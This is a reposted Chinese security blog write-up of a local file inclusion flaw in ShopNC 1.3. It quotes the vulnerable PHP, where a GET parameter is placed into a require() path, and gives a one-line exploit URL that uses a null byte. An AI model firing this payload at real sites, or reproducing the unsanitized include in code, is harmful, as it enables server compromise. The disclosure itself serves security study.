ShopNC 1.3鸡肋本地包含

admin 2021年4月3日20:05:14评论81 views字数 1171阅读3分54秒阅读模式

From:http://t00ls.net/thread-20191-1-1.html


GPC面前一切都是浮云。。所以鸡肋。。
./control/adv.php

class advControl {

    /**

         * 

         * 广告展示

         */

        public function advshowOp(){

                if(trim($_GET['ap_id']) == '')exit;

                $time    = time();

                //加载广告位缓存文件

                $ap_cache_file = BasePath.DS.'cache'.DS.'adv'.DS.'ap_'.$_GET['ap_id'].'.cache.php'; //直接包含了。。

                if(file_exists($ap_cache_file)){

                        require($ap_cache_file);

                }else{

                        exit;

                }

./global.php

略

if($_GET['act'] == 'adv' && ProjectName == ''){ 

        define('ATTACH_ADV','upload/adv');

        require_once(BasePath.DS.'config.ini.php');

        define('SiteUrl',$site_url);

        $advshow_classfile = BasePath.DS.'control/adv.php';

        echo "

sbsb

";         if(file_exists($advshow_classfile)){         echo "

sbsb

";                 include_once ($advshow_classfile);                 $advshow = new advControl();                 $advshow->advshowOp(); //this..                         }else{                 echo "Adv System Inner Error!";         } 略

Exp
http://127.0.0.1/2008/upload/index.php?act=adv&ap_id=.sss.sb%00文章来源于lcx.cc:ShopNC 1.3鸡肋本地包含

相关推荐: 国防部证实建“网络蓝军” 称为提高网络防护 中国网络部队成立

国防部新闻事务局局长、国防部新闻发言人耿雁生大校答记者问 李晓伟摄 国防部例行记者会现场崔永新摄 本报讯 (记者邢世伟)昨日,在国防部例行记者会上,针对媒体报道中国解放军建立“网络蓝军”时,国防部发言人、新闻事务局局长耿雁生大校表示,“网上蓝军”是为提高部队网…

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年4月3日20:05:14
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   ShopNC 1.3鸡肋本地包含https://cn-sec.com/archives/325294.html

发表评论

匿名网友 填写信息